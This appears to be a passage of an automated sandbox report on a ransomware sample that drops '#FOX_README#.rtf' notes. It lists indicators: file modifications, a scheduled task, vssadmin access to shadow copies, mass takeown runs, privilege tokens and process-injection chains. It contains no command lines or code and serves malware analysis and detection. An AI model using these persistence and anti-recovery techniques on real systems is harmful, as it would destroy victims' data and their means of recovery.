f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\platform.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\jawt.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerActionExceptionHandlers.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.batik.css_1.7.0.v201011041433.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-nodes.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-text_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\ResumeExit.vsx f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-profiling.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.base.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-io-ui.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\SmallLogoBeta.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\fonts\FreeSans.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_basestyle.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\rmiregistry.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console_1.0.300.v20131113-1212.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4768 schtasks.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4748 vssadmin.exe -
Modifies Control Panel 5 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\WallpaperStyle = "0" reg.exe Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\TileWallpaper = "0" reg.exe Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop reg.exe Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop reg.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 4172 powershell.exe 4172 powershell.exe 4172 powershell.exe 4832 ZPVn0rpr64.exe 4832 ZPVn0rpr64.exe 4832 ZPVn0rpr64.exe 4832 ZPVn0rpr64.exe 4832 ZPVn0rpr64.exe 4832 ZPVn0rpr64.exe 4832 ZPVn0rpr64.exe 4832 ZPVn0rpr64.exe 4832 ZPVn0rpr64.exe 2104 powershell.exe 2104 powershell.exe 2104 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 4832 ZPVn0rpr64.exe -
Suspicious use of AdjustPrivilegeToken 121 IoCs
description pid Process Token: SeDebugPrivilege 4172 powershell.exe Token: SeDebugPrivilege 4832 ZPVn0rpr64.exe Token: SeLoadDriverPrivilege 4832 ZPVn0rpr64.exe Token: SeTakeOwnershipPrivilege 4120 takeown.exe Token: SeBackupPrivilege 4488 vssvc.exe Token: SeRestorePrivilege 4488 vssvc.exe Token: SeAuditPrivilege 4488 vssvc.exe Token: SeIncreaseQuotaPrivilege 4416 WMIC.exe Token: SeSecurityPrivilege 4416 WMIC.exe Token: SeTakeOwnershipPrivilege 4416 WMIC.exe Token: SeLoadDriverPrivilege 4416 WMIC.exe Token: SeSystemProfilePrivilege 4416 WMIC.exe Token: SeSystemtimePrivilege 4416 WMIC.exe Token: SeProfSingleProcessPrivilege 4416 WMIC.exe Token: SeIncBasePriorityPrivilege 4416 WMIC.exe Token: SeCreatePagefilePrivilege 4416 WMIC.exe Token: SeBackupPrivilege 4416 WMIC.exe Token: SeRestorePrivilege 4416 WMIC.exe Token: SeShutdownPrivilege 4416 WMIC.exe Token: SeDebugPrivilege 4416 WMIC.exe Token: SeSystemEnvironmentPrivilege 4416 WMIC.exe Token: SeRemoteShutdownPrivilege 4416 WMIC.exe Token: SeUndockPrivilege 4416 WMIC.exe Token: SeManageVolumePrivilege 4416 WMIC.exe Token: 33 4416 WMIC.exe Token: 34 4416 WMIC.exe Token: 35 4416 WMIC.exe Token: 36 4416 WMIC.exe Token: SeIncreaseQuotaPrivilege 4416 WMIC.exe Token: SeSecurityPrivilege 4416 WMIC.exe Token: SeTakeOwnershipPrivilege 4416 WMIC.exe Token: SeLoadDriverPrivilege 4416 WMIC.exe Token: SeSystemProfilePrivilege 4416 WMIC.exe Token: SeSystemtimePrivilege 4416 WMIC.exe Token: SeProfSingleProcessPrivilege 4416 WMIC.exe Token: SeIncBasePriorityPrivilege 4416 WMIC.exe Token: SeCreatePagefilePrivilege 4416 WMIC.exe Token: SeBackupPrivilege 4416 WMIC.exe Token: SeRestorePrivilege 4416 WMIC.exe Token: SeShutdownPrivilege 4416 WMIC.exe Token: SeDebugPrivilege 4416 WMIC.exe Token: SeSystemEnvironmentPrivilege 4416 WMIC.exe Token: SeRemoteShutdownPrivilege 4416 WMIC.exe Token: SeUndockPrivilege 4416 WMIC.exe Token: SeManageVolumePrivilege 4416 WMIC.exe Token: 33 4416 WMIC.exe Token: 34 4416 WMIC.exe Token: 35 4416 WMIC.exe Token: 36 4416 WMIC.exe Token: SeTakeOwnershipPrivilege 4160 takeown.exe Token: SeTakeOwnershipPrivilege 4808 takeown.exe Token: SeTakeOwnershipPrivilege 4364 takeown.exe Token: SeTakeOwnershipPrivilege 5084 takeown.exe Token: SeTakeOwnershipPrivilege 4612 takeown.exe Token: SeTakeOwnershipPrivilege 4752 takeown.exe Token: SeTakeOwnershipPrivilege 260 takeown.exe Token: SeTakeOwnershipPrivilege 4252 takeown.exe Token: SeTakeOwnershipPrivilege 4720 takeown.exe Token: SeTakeOwnershipPrivilege 640 takeown.exe Token: SeTakeOwnershipPrivilege 4860 takeown.exe Token: SeTakeOwnershipPrivilege 4756 takeown.exe Token: SeTakeOwnershipPrivilege 4272 takeown.exe Token: SeTakeOwnershipPrivilege 4472 takeown.exe Token: SeTakeOwnershipPrivilege 4588 takeown.exe Token: SeTakeOwnershipPrivilege 4316 takeown.exe Token: SeTakeOwnershipPrivilege 4136 takeown.exe Token: SeTakeOwnershipPrivilege 3660 takeown.exe Token: SeTakeOwnershipPrivilege 4632 takeown.exe Token: SeTakeOwnershipPrivilege 2352 takeown.exe Token: SeTakeOwnershipPrivilege 3576 takeown.exe Token: SeTakeOwnershipPrivilege 3136 takeown.exe Token: SeTakeOwnershipPrivilege 4268 takeown.exe Token: SeTakeOwnershipPrivilege 4392 takeown.exe Token: SeTakeOwnershipPrivilege 5132 takeown.exe Token: SeTakeOwnershipPrivilege 5436 takeown.exe Token: SeTakeOwnershipPrivilege 5588 takeown.exe Token: SeTakeOwnershipPrivilege 5740 takeown.exe Token: SeTakeOwnershipPrivilege 5892 takeown.exe Token: SeTakeOwnershipPrivilege 6044 takeown.exe Token: SeTakeOwnershipPrivilege 5172 takeown.exe Token: SeTakeOwnershipPrivilege 5504 takeown.exe Token: SeTakeOwnershipPrivilege 5664 takeown.exe Token: SeTakeOwnershipPrivilege 5696 takeown.exe Token: SeTakeOwnershipPrivilege 6032 takeown.exe Token: SeTakeOwnershipPrivilege 5164 takeown.exe Token: SeTakeOwnershipPrivilege 5248 takeown.exe Token: SeTakeOwnershipPrivilege 5576 takeown.exe Token: SeTakeOwnershipPrivilege 5584 takeown.exe Token: SeTakeOwnershipPrivilege 5964 takeown.exe Token: SeTakeOwnershipPrivilege 5188 takeown.exe Token: SeTakeOwnershipPrivilege 5888 takeown.exe Token: SeTakeOwnershipPrivilege 5932 takeown.exe Token: SeTakeOwnershipPrivilege 5252 takeown.exe Token: SeTakeOwnershipPrivilege 5424 takeown.exe Token: SeTakeOwnershipPrivilege 5780 takeown.exe Token: SeTakeOwnershipPrivilege 5024 takeown.exe Token: SeTakeOwnershipPrivilege 6120 takeown.exe Token: SeTakeOwnershipPrivilege 5528 takeown.exe Token: SeTakeOwnershipPrivilege 6124 takeown.exe Token: SeTakeOwnershipPrivilege 5548 takeown.exe Token: SeTakeOwnershipPrivilege 5836 takeown.exe Token: SeTakeOwnershipPrivilege 5524 takeown.exe Token: SeTakeOwnershipPrivilege 5432 takeown.exe Token: SeTakeOwnershipPrivilege 5920 takeown.exe Token: SeTakeOwnershipPrivilege 6052 takeown.exe Token: SeTakeOwnershipPrivilege 5764 takeown.exe Token: SeTakeOwnershipPrivilege 5532 takeown.exe Token: SeTakeOwnershipPrivilege 6256 takeown.exe Token: SeTakeOwnershipPrivilege 6408 takeown.exe Token: SeTakeOwnershipPrivilege 6560 takeown.exe Token: SeTakeOwnershipPrivilege 6716 takeown.exe Token: SeTakeOwnershipPrivilege 6868 takeown.exe Token: SeTakeOwnershipPrivilege 7020 takeown.exe Token: SeTakeOwnershipPrivilege 6300 takeown.exe Token: SeTakeOwnershipPrivilege 6524 takeown.exe Token: SeTakeOwnershipPrivilege 6792 takeown.exe Token: SeTakeOwnershipPrivilege 6244 takeown.exe Token: SeTakeOwnershipPrivilege 6968 takeown.exe Token: SeTakeOwnershipPrivilege 6680 takeown.exe Token: SeTakeOwnershipPrivilege 6732 takeown.exe Token: SeDebugPrivilege 2104 powershell.exe -
Suspicious use of WriteProcessMemory 2940 IoCs
description pid Process procid_target PID 3800 wrote to memory of 904 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 71 PID 3800 wrote to memory of 904 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 71 PID 3800 wrote to memory of 904 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 71 PID 3800 wrote to memory of 2080 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 75 PID 3800 wrote to memory of 2080 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 75 PID 3800 wrote to memory of 2080 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 75 PID 3800 wrote to memory of 4128 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 81 PID 3800 wrote to memory of 4128 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 81 PID 3800 wrote to memory of 4128 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 81 PID 4128 wrote to memory of 4172 4128 cmd.exe 83 PID 4128 wrote to memory of 4172 4128 cmd.exe 83 PID 4128 wrote to memory of 4172 4128 cmd.exe 83 PID 3800 wrote to memory of 4320 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 84 PID 3800 wrote to memory of 4320 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 84 PID 3800 wrote to memory of 4320 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 84 PID 3800 wrote to memory of 4332 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 85 PID 3800 wrote to memory of 4332 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 85 PID 3800 wrote to memory of 4332 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 85 PID 4320 wrote to memory of 4452 4320 cmd.exe 88 PID 4320 wrote to memory of 4452 4320 cmd.exe 88 PID 4320 wrote to memory of 4452 4320 cmd.exe 88 PID 4332 wrote to memory of 4464 4332 cmd.exe 89 PID 4332 wrote to memory of 4464 4332 cmd.exe 89 PID 4332 wrote to memory of 4464 4332 cmd.exe 89 PID 3800 wrote to memory of 4492 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 90 PID 3800 wrote to memory of 4492 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 90 PID 3800 wrote to memory of 4492 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 90 PID 4492 wrote to memory of 4556 4492 cmd.exe 92 PID 4492 wrote to memory of 4556 4492 cmd.exe 92 PID 4492 wrote to memory of 4556 4492 cmd.exe 92 PID 4320 wrote to memory of 4604 4320 cmd.exe 94 PID 4320 wrote to memory of 4604 4320 cmd.exe 94 PID 4320 wrote to memory of 4604 4320 cmd.exe 94 PID 4320 wrote to memory of 4656 4320 cmd.exe 95 PID 4320 wrote to memory of 4656 4320 cmd.exe 95 PID 4320 wrote to memory of 4656 4320 cmd.exe 95 PID 4464 wrote to memory of 4700 4464 wscript.exe 96 PID 4464 wrote to memory of 4700 4464 wscript.exe 96 PID 4464 wrote to memory of 4700 4464 wscript.exe 96 PID 4492 wrote to memory of 4712 4492 cmd.exe 97 PID 4492 wrote to memory of 4712 4492 cmd.exe 97 PID 4492 wrote to memory of 4712 4492 cmd.exe 97 PID 4700 wrote to memory of 4768 4700 cmd.exe 99 PID 4700 wrote to memory of 4768 4700 cmd.exe 99 PID 4700 wrote to memory of 4768 4700 cmd.exe 99 PID 4492 wrote to memory of 4780 4492 cmd.exe 100 PID 4492 wrote to memory of 4780 4492 cmd.exe 100 PID 4492 wrote to memory of 4780 4492 cmd.exe 100 PID 4780 wrote to memory of 4796 4780 cmd.exe 101 PID 4780 wrote to memory of 4796 4780 cmd.exe 101 PID 4780 wrote to memory of 4796 4780 cmd.exe 101 PID 4796 wrote to memory of 4832 4796 ZPVn0rpr.exe 102 PID 4796 wrote to memory of 4832 4796 ZPVn0rpr.exe 102 PID 3800 wrote to memory of 4844 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 103 PID 3800 wrote to memory of 4844 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 103 PID 3800 wrote to memory of 4844 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 103 PID 4844 wrote to memory of 4920 4844 cmd.exe 105 PID 4844 wrote to memory of 4920 4844 cmd.exe 105 PID 4844 wrote to memory of 4920 4844 cmd.exe 105 PID 4464 wrote to memory of 4944 4464 wscript.exe 106 PID 4464 wrote to memory of 4944 4464 wscript.exe 106 PID 4464 wrote to memory of 4944 4464 wscript.exe 106 PID 4944 wrote to memory of 5004 4944 cmd.exe 108 PID 4944 wrote to memory of 5004 4944 cmd.exe 108 PID 4944 wrote to memory of 5004 4944 cmd.exe 108 PID 4844 wrote to memory of 5032 4844 cmd.exe 110 PID 4844 wrote to memory of 5032 4844 cmd.exe 110 PID 4844 wrote to memory of 5032 4844 cmd.exe 110 PID 4844 wrote to memory of 5080 4844 cmd.exe 111 PID 4844 wrote to memory of 5080 4844 cmd.exe 111 PID 4844 wrote to memory of 5080 4844 cmd.exe 111 PID 5080 wrote to memory of 5096 5080 cmd.exe 113 PID 5080 wrote to memory of 5096 5080 cmd.exe 113 PID 5080 wrote to memory of 5096 5080 cmd.exe 113 PID 4844 wrote to memory of 4100 4844 cmd.exe 114 PID 4844 wrote to memory of 4100 4844 cmd.exe 114 PID 4844 wrote to memory of 4100 4844 cmd.exe 114 PID 3800 wrote to memory of 1424 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 115 PID 3800 wrote to memory of 1424 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 115 PID 3800 wrote to memory of 1424 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 115 PID 1424 wrote to memory of 804 1424 cmd.exe 117 PID 1424 wrote to memory of 804 1424 cmd.exe 117 PID 1424 wrote to memory of 804 1424 cmd.exe 117 PID 1424 wrote to memory of 4120 1424 cmd.exe 118 PID 1424 wrote to memory of 4120 1424 cmd.exe 118 PID 1424 wrote to memory of 4120 1424 cmd.exe 118 PID 1424 wrote to memory of 4260 1424 cmd.exe 119 PID 1424 wrote to memory of 4260 1424 cmd.exe 119 PID 1424 wrote to memory of 4260 1424 cmd.exe 119 PID 4260 wrote to memory of 4280 4260 cmd.exe 120 PID 4260 wrote to memory of 4280 4260 cmd.exe 120 PID 4260 wrote to memory of 4280 4260 cmd.exe 120 PID 1424 wrote to memory of 4232 1424 cmd.exe 121 PID 1424 wrote to memory of 4232 1424 cmd.exe 121 PID 1424 wrote to memory of 4232 1424 cmd.exe 121 PID 3800 wrote to memory of 4216 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 122 PID 3800 wrote to memory of 4216 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 122 PID 3800 wrote to memory of 4216 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 122 PID 4216 wrote to memory of 4220 4216 cmd.exe 124 PID 4216 wrote to memory of 4220 4216 cmd.exe 124 PID 4216 wrote to memory of 4220 4216 cmd.exe 124 PID 4216 wrote to memory of 4156 4216 cmd.exe 125 PID 4216 wrote to memory of 4156 4216 cmd.exe 125 PID 4216 wrote to memory of 4156 4216 cmd.exe 125 PID 4216 wrote to memory of 4140 4216 cmd.exe 126 PID 4216 wrote to memory of 4140 4216 cmd.exe 126 PID 4216 wrote to memory of 4140 4216 cmd.exe 126 PID 4140 wrote to memory of 4368 4140 cmd.exe 127 PID 4140 wrote to memory of 4368 4140 cmd.exe 127 PID 4140 wrote to memory of 4368 4140 cmd.exe 127 PID 4216 wrote to memory of 4552 4216 cmd.exe 128 PID 4216 wrote to memory of 4552 4216 cmd.exe 128 PID 4216 wrote to memory of 4552 4216 cmd.exe 128 PID 3800 wrote to memory of 4648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 129 PID 3800 wrote to memory of 4648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 129 PID 3800 wrote to memory of 4648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 129 PID 4648 wrote to memory of 4380 4648 cmd.exe 131 PID 4648 wrote to memory of 4380 4648 cmd.exe 131 PID 4648 wrote to memory of 4380 4648 cmd.exe 131 PID 4648 wrote to memory of 4708 4648 cmd.exe 132 PID 4648 wrote to memory of 4708 4648 cmd.exe 132 PID 4648 wrote to memory of 4708 4648 cmd.exe 132 PID 4648 wrote to memory of 4740 4648 cmd.exe 133 PID 4648 wrote to memory of 4740 4648 cmd.exe 133 PID 4648 wrote to memory of 4740 4648 cmd.exe 133 PID 4740 wrote to memory of 4840 4740 cmd.exe 134 PID 4740 wrote to memory of 4840 4740 cmd.exe 134 PID 4740 wrote to memory of 4840 4740 cmd.exe 134 PID 4648 wrote to memory of 4812 4648 cmd.exe 135 PID 4648 wrote to memory of 4812 4648 cmd.exe 135 PID 4648 wrote to memory of 4812 4648 cmd.exe 135 PID 5024 wrote to memory of 4748 5024 cmd.exe 136 PID 5024 wrote to memory of 4748 5024 cmd.exe 136 PID 5024 wrote to memory of 4416 5024 cmd.exe 139 PID 5024 wrote to memory of 4416 5024 cmd.exe 139 PID 5024 wrote to memory of 5036 5024 cmd.exe 141 PID 5024 wrote to memory of 5036 5024 cmd.exe 141 PID 3800 wrote to memory of 5108 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 142 PID 3800 wrote to memory of 5108 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 142 PID 3800 wrote to memory of 5108 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 142 PID 5108 wrote to memory of 1680 5108 cmd.exe 144 PID 5108 wrote to memory of 1680 5108 cmd.exe 144 PID 5108 wrote to memory of 1680 5108 cmd.exe 144 PID 5108 wrote to memory of 4896 5108 cmd.exe 145 PID 5108 wrote to memory of 4896 5108 cmd.exe 145 PID 5108 wrote to memory of 4896 5108 cmd.exe 145 PID 5108 wrote to memory of 856 5108 cmd.exe 146 PID 5108 wrote to memory of 856 5108 cmd.exe 146 PID 5108 wrote to memory of 856 5108 cmd.exe 146 PID 856 wrote to memory of 3688 856 cmd.exe 147 PID 856 wrote to memory of 3688 856 cmd.exe 147 PID 856 wrote to memory of 3688 856 cmd.exe 147 PID 5108 wrote to memory of 572 5108 cmd.exe 148 PID 5108 wrote to memory of 572 5108 cmd.exe 148 PID 5108 wrote to memory of 572 5108 cmd.exe 148 PID 3800 wrote to memory of 4200 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 149 PID 3800 wrote to memory of 4200 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 149 PID 3800 wrote to memory of 4200 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 149 PID 4200 wrote to memory of 416 4200 cmd.exe 152 PID 4200 wrote to memory of 416 4200 cmd.exe 152 PID 4200 wrote to memory of 416 4200 cmd.exe 152 PID 5024 wrote to memory of 3696 5024 cmd.exe 153 PID 5024 wrote to memory of 3696 5024 cmd.exe 153 PID 4200 wrote to memory of 4160 4200 cmd.exe 154 PID 4200 wrote to memory of 4160 4200 cmd.exe 154 PID 4200 wrote to memory of 4160 4200 cmd.exe 154 PID 5024 wrote to memory of 4132 5024 cmd.exe 155 PID 5024 wrote to memory of 4132 5024 cmd.exe 155 PID 4200 wrote to memory of 4460 4200 cmd.exe 156 PID 4200 wrote to memory of 4460 4200 cmd.exe 156 PID 4200 wrote to memory of 4460 4200 cmd.exe 156 PID 4460 wrote to memory of 4456 4460 cmd.exe 157 PID 4460 wrote to memory of 4456 4460 cmd.exe 157 PID 4460 wrote to memory of 4456 4460 cmd.exe 157 PID 4200 wrote to memory of 4176 4200 cmd.exe 158 PID 4200 wrote to memory of 4176 4200 cmd.exe 158 PID 4200 wrote to memory of 4176 4200 cmd.exe 158 PID 3800 wrote to memory of 4204 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 159 PID 3800 wrote to memory of 4204 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 159 PID 3800 wrote to memory of 4204 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 159 PID 4204 wrote to memory of 4788 4204 cmd.exe 161 PID 4204 wrote to memory of 4788 4204 cmd.exe 161 PID 4204 wrote to memory of 4788 4204 cmd.exe 161 PID 4204 wrote to memory of 4808 4204 cmd.exe 162 PID 4204 wrote to memory of 4808 4204 cmd.exe 162 PID 4204 wrote to memory of 4808 4204 cmd.exe 162 PID 4204 wrote to memory of 4820 4204 cmd.exe 163 PID 4204 wrote to memory of 4820 4204 cmd.exe 163 PID 4204 wrote to memory of 4820 4204 cmd.exe 163 PID 4820 wrote to memory of 4324 4820 cmd.exe 164 PID 4820 wrote to memory of 4324 4820 cmd.exe 164 PID 4820 wrote to memory of 4324 4820 cmd.exe 164 PID 4204 wrote to memory of 4744 4204 cmd.exe 165 PID 4204 wrote to memory of 4744 4204 cmd.exe 165 PID 4204 wrote to memory of 4744 4204 cmd.exe 165 PID 3800 wrote to memory of 284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 166 PID 3800 wrote to memory of 284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 166 PID 3800 wrote to memory of 284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 166 PID 284 wrote to memory of 4736 284 cmd.exe 168 PID 284 wrote to memory of 4736 284 cmd.exe 168 PID 284 wrote to memory of 4736 284 cmd.exe 168 PID 284 wrote to memory of 4364 284 cmd.exe 169 PID 284 wrote to memory of 4364 284 cmd.exe 169 PID 284 wrote to memory of 4364 284 cmd.exe 169 PID 284 wrote to memory of 4416 284 cmd.exe 170 PID 284 wrote to memory of 4416 284 cmd.exe 170 PID 284 wrote to memory of 4416 284 cmd.exe 170 PID 4416 wrote to memory of 4912 4416 cmd.exe 171 PID 4416 wrote to memory of 4912 4416 cmd.exe 171 PID 4416 wrote to memory of 4912 4416 cmd.exe 171 PID 284 wrote to memory of 4880 284 cmd.exe 172 PID 284 wrote to memory of 4880 284 cmd.exe 172 PID 284 wrote to memory of 4880 284 cmd.exe 172 PID 3800 wrote to memory of 3784 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 173 PID 3800 wrote to memory of 3784 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 173 PID 3800 wrote to memory of 3784 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 173 PID 3784 wrote to memory of 5092 3784 cmd.exe 175 PID 3784 wrote to memory of 5092 3784 cmd.exe 175 PID 3784 wrote to memory of 5092 3784 cmd.exe 175 PID 3784 wrote to memory of 5084 3784 cmd.exe 176 PID 3784 wrote to memory of 5084 3784 cmd.exe 176 PID 3784 wrote to memory of 5084 3784 cmd.exe 176 PID 3784 wrote to memory of 492 3784 cmd.exe 177 PID 3784 wrote to memory of 492 3784 cmd.exe 177 PID 3784 wrote to memory of 492 3784 cmd.exe 177 PID 492 wrote to memory of 4168 492 cmd.exe 178 PID 492 wrote to memory of 4168 492 cmd.exe 178 PID 492 wrote to memory of 4168 492 cmd.exe 178 PID 3784 wrote to memory of 4308 3784 cmd.exe 179 PID 3784 wrote to memory of 4308 3784 cmd.exe 179 PID 3784 wrote to memory of 4308 3784 cmd.exe 179 PID 3800 wrote to memory of 4348 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 180 PID 3800 wrote to memory of 